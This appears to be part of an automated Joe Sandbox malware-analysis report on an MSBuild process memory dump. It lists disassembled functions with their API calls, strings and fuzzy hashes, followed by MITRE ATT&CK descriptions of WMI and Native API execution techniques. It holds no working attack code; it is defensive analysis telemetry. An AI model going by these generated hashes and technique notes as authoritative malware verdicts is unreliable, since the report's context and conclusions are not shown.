Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6f3a0968b8766c296856cee8b422132dd7cc2bfa73a18601859aca027d65197a
Instruction ID: 0d5eb07752eb576464334ad899130e0fc931fb6c042865b021f0255dbf711827
Opcode Fuzzy Hash: 6f3a0968b8766c296856cee8b422132dd7cc2bfa73a18601859aca027d65197a
Instruction Fuzzy Hash: 8511F030904B50C7D721CF29C800F65B3B1FFE6329F10970AE84A56A01EBB4B1D1C780

Function 6C453DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C41F20E,?), ref: 6C453DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C41F20E,00000000,?), ref: 6C453DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C453E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C453E0E

Part of subcall function 6C44CC00: GetCurrentProcess.KERNEL32(?,?,6C4131A7), ref: 6C44CC0D
Part of subcall function 6C44CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4131A7), ref: 6C44CC16

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 56ae5f3bad85b49583ce47e9f6c24805e670674573bf6aedf27b9358e4ec330b
Instruction ID: d309ad4276922ae39ace5fcebccd564929a4fcdbdf2be11d89080fec5d532fde
Opcode Fuzzy Hash: 56ae5f3bad85b49583ce47e9f6c24805e670674573bf6aedf27b9358e4ec330b
Instruction Fuzzy Hash: ACF08CB1A002187BEB01EF94DC81EAB376CEB46628F080024FE0857740D735BE2986F7

Function 6C462050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C46205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C46201B,?,?,?,?,?,?,?,6C461F8F,?,?), ref: 6C462064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C46208E
free.MOZGLUE(?,?,?,00000000,?,6C46201B,?,?,?,?,?,?,?,6C461F8F,?,?), ref: 6C4620A3

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: ff566b9672a5fc21e9546fac5fafda9d51b6aa42ceef008650c7c25765875df6
Instruction ID: a11155ee2c9e591445cf47b28a0ea2a4f0703bee2120d268a12ab464660019bb
Opcode Fuzzy Hash: ff566b9672a5fc21e9546fac5fafda9d51b6aa42ceef008650c7c25765875df6
Instruction Fuzzy Hash: D9F09071104A209BC721DF17D888F5BB7F9EF9A324F10011AE64687B10CB75A906CB95

Function 6C4685B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C4685D3

Part of subcall function 6C42CA10: malloc.MOZGLUE(?), ref: 6C42CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C468725

Strings

map/set<T> too long, xrefs: 6C468720

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: b2654252717f391a52d5e004bf42194001bfc318778b61c379d36a35abf1ae35
Instruction ID: 5add1303f8acd0811bcb4f62e70f4162319016751835f2ee9f657b3b53c5c52d
Opcode Fuzzy Hash: b2654252717f391a52d5e004bf42194001bfc318778b61c379d36a35abf1ae35
Instruction Fuzzy Hash: 175153B4A006418FD701CF1AC484E5AFBF1BF4A318F18C29AD8595BB56C375E886CF92

Function 6C41BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C41BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C41BE8F

Strings

0, xrefs: 6C41BE5B

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: e7c27a78f6d8a40398717c036339343b84228ac32caf9ae24ee3113eb3c90457
Instruction ID: aa8fb78baa3c3f2df2f5c881286a82b3347d7fad758c7e4ec0672244c612b756
Opcode Fuzzy Hash: e7c27a78f6d8a40398717c036339343b84228ac32caf9ae24ee3113eb3c90457
Instruction Fuzzy Hash: EE416BB19097458FC701CF39C481EABBBE4AF8A358F008A1DF9C5A7B51D731D9598B82

Function 6C453CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C453D19
mozalloc_abort.MOZGLUE(?), ref: 6C453D6C

Strings

d, xrefs: 6C453D58

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 211c0095638287e2015782d33affdf62132a1187683de2ae505f7df7f2890567
Instruction ID: bfdb49e2f1e3c30b5fbb78b591e6ba0c25df6ff798e6857b10cde15fe8b2162f
Opcode Fuzzy Hash: 211c0095638287e2015782d33affdf62132a1187683de2ae505f7df7f2890567
Instruction Fuzzy Hash: 82110135E04699DBEB01DF69C814EEDB775EF96218F84821DEC459B702EB30A5A8C390

Function 6C424730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4244B2,6C49E21C,6C49F7F8), ref: 6C42473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C42474A

Strings

GetNtLoaderAPI, xrefs: 6C424744

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: a5ca68bcbf27ccc086710e0dfdaf6ba359477d49f59fbce3c416959e6039bb3c
Instruction ID: 93a1343e228a8f409d681d3977f21eda743722659244ce62a372927bf24d4b46
Opcode Fuzzy Hash: a5ca68bcbf27ccc086710e0dfdaf6ba359477d49f59fbce3c416959e6039bb3c
Instruction Fuzzy Hash: EA019E757052248FEF00EFA6D889E1D7BB9FB9B355B040469E906C7300CB74D8018F92

Function 6C476DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C476E22
__Init_thread_footer.LIBCMT ref: 6C476E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C476E1D

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 825b9ea64957db6ab6ace06071e698a4231709cb560f57caba85a81441e7e46a
Instruction ID: cf8baf18c8f279e5076e5f3a0c3f33b4e041eca6b11f3b10676a904ca1e86929
Opcode Fuzzy Hash: 825b9ea64957db6ab6ace06071e698a4231709cb560f57caba85a81441e7e46a
Instruction Fuzzy Hash: B1F02E326063908BFF20EF68C850ED13B72A723218F240569E80486FA1C760AD07CAB3

Function 6C429E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C429EEF

Strings

Infinity, xrefs: 6C429EB7
NaN, xrefs: 6C429EC1

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 5b64c9ce987d87dd8208533e9193778315abba5e8389f18f662f36f23c135c20
Instruction ID: dd1cca3ceb02ffc08497c0106d8622d11d5fcafac0de457c7caf4e097e9c60f3
Opcode Fuzzy Hash: 5b64c9ce987d87dd8208533e9193778315abba5e8389f18f662f36f23c135c20
Instruction Fuzzy Hash: 7FF08C707032A1CAFB00EF18D846F907B71A72730DF200B18E9020ABA0D77A65568AC6

Function 6C426C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KEl,?,6C454B30,80000000,?,6C454AB7,?,6C4143CF,?,6C4142D2), ref: 6C426C42

Part of subcall function 6C42CA10: malloc.MOZGLUE(?), ref: 6C42CA26

moz_xmalloc.MOZGLUE(0KEl,?,6C454B30,80000000,?,6C454AB7,?,6C4143CF,?,6C4142D2), ref: 6C426C58

Strings

0KEl, xrefs: 6C426C33, 6C426C41, 6C426C57

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KEl
API String ID: 1967447596-1688916911
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 1335ceef0460b644b895be5eef35bed30b46130b3366093175f6006b55c150d9
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 26E086F1A105054AAB08E97AAC0BEAB71C88B142E97044A39EC22D7BCCFA5CE55081D1

Function 6C423850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C49F860), ref: 6C42385C
ReleaseSRWLockExclusive.KERNEL32(6C49F860,?), ref: 6C423871

Strings

,Il, xrefs: 6C42387A

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Il
API String ID: 17069307-2248203856
Opcode ID: 972df6b1a30bcdd3c5de9533252af14d40a8fe643d7b564719eaef9155a56d6e
Instruction ID: 40b26993e97c1fc33f2d22dbc3209491c36245ec4a2f627f6c87cd2f83fde7fb
Opcode Fuzzy Hash: 972df6b1a30bcdd3c5de9533252af14d40a8fe643d7b564719eaef9155a56d6e
Instruction Fuzzy Hash: E3E02631942B38978B11EF978806E8A7FBCFF177903044909F4091BE00C730D54087C6

Function 6C42BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C42BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C42BEF5

Strings

cryptbase.dll, xrefs: 6C42BEF0

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 9e0514c13a13358f4aade3d728b4fb937b82a79960e4e85874932896734bfddf
Instruction ID: c2ad40339b8cee5fb6d53357748b5384aecb6f7e7d5cc63d3dfe48507456dd06
Opcode Fuzzy Hash: 9e0514c13a13358f4aade3d728b4fb937b82a79960e4e85874932896734bfddf
Instruction Fuzzy Hash: 52D0C932284218EBDF50FEA18D0AF293BBCA722766F10C025F75694951C7B5A451CB94

Function 6C46B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C46B2C9,?,?,?,6C46B127,?,?,?,?,?,?,?,?,?,6C46AE52), ref: 6C46B628

Part of subcall function 6C4690E0: free.MOZGLUE(?,00000000,?,?,6C46DEDB), ref: 6C4690FF
Part of subcall function 6C4690E0: free.MOZGLUE(?,00000000,?,?,6C46DEDB), ref: 6C469108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C46B2C9,?,?,?,6C46B127,?,?,?,?,?,?,?,?,?,6C46AE52), ref: 6C46B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C46B2C9,?,?,?,6C46B127,?,?,?,?,?,?,?,?,?,6C46AE52), ref: 6C46B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C46B127,?,?,?,?,?,?,?,?), ref: 6C46B74D

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: a947b3deda6f4ccc5790c5edcd794b9e3aa3b97a68268f0f365e624079910d53
Instruction ID: 9b076792f0095aade58aca5bfa417a503acac1728defb34f729e625a84b5f19a
Opcode Fuzzy Hash: a947b3deda6f4ccc5790c5edcd794b9e3aa3b97a68268f0f365e624079910d53
Instruction Fuzzy Hash: A051FF71A053168BDB14CF5AC980E5EF7B5FF45306F05812DE84AABB18DB31A804CBA1

Function 6C46DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C45FF2A), ref: 6C46DFFD

Part of subcall function 6C4690E0: free.MOZGLUE(?,00000000,?,?,6C46DEDB), ref: 6C4690FF
Part of subcall function 6C4690E0: free.MOZGLUE(?,00000000,?,?,6C46DEDB), ref: 6C469108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C45FF2A), ref: 6C46E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C45FF2A), ref: 6C46E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C45FF2A), ref: 6C46E0FE

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b3b63ba1b69c6f19ed5aa7d8dca07edd3147da786314bf5ede279bb2d653addb
Instruction ID: 6fc140b9bddc57ee86fc9ed1c39215cb499b0c8b0dd08198248cf7cfba316bac
Opcode Fuzzy Hash: b3b63ba1b69c6f19ed5aa7d8dca07edd3147da786314bf5ede279bb2d653addb
Instruction Fuzzy Hash: 6841BFB16042268BEB14CF69CCC0F9A73F6AB45308F144939D556DBB48E732E905CB92

Function 6C466E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C466EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C466EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C466F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C466F5C

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: e02e513eddbcd447260ba825e477a82fc5ba6d8c38d482b2d6cc0f8aaee20b9e
Instruction ID: 144f86db3f959452b282f18eda69c889154e238cb50a67783bcb09d88d5ef698
Opcode Fuzzy Hash: e02e513eddbcd447260ba825e477a82fc5ba6d8c38d482b2d6cc0f8aaee20b9e
Instruction Fuzzy Hash: A0310571A1060A8FDB04CF2DC880FAA73F9EB94345F50423DD41AC7A55EB31E659C790

Function 6C47B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C420A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C47B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C420A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C47B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C420A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C47B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,6C420A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C47B67F

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: c09619a97e2a21b982ebb4a3fb6f282bbfaea0c375e437ce599aa5a094fdd159
Instruction ID: 40499bfdf1eb45d05594302c60f83adeab17b6c4c69eaaefc3639e49438afc47
Opcode Fuzzy Hash: c09619a97e2a21b982ebb4a3fb6f282bbfaea0c375e437ce599aa5a094fdd159
Instruction Fuzzy Hash: 5A31E671A012268FDB20DF58C844E9ABBF6FF81305F168569C9069B301EB31E915CBF2

Function 6C44F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C44F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C44F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C44F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C44F668

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: d70931bcf74dd2daefbc4654e8f2cc332fc1e5f6ebc25f60c2a52222de6b8166
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 94313E71A01214AFE714DF5DCCC0E9A77F5EB84354B24C53DEA498BB05D631E9458B90

Function 6C4626B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4626C1
free.MOZGLUE(?), ref: 6C4626E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4626FF
free.MOZGLUE ref: 6C46270D

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 365c8aab8a815d86dd8846f636140b66010a2d61b336ff7e64e7a44075fc8d59
Instruction ID: b2497023b80f8d2374f32366f4294ff7e1e21fe2c09873ed67ae6634782a1aa8
Opcode Fuzzy Hash: 365c8aab8a815d86dd8846f636140b66010a2d61b336ff7e64e7a44075fc8d59
Instruction Fuzzy Hash: 1FF0F9B2B012016BE710DF5AD888D4BB3A9EF5525AB540035EA1AD3F01EB31F918C792

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
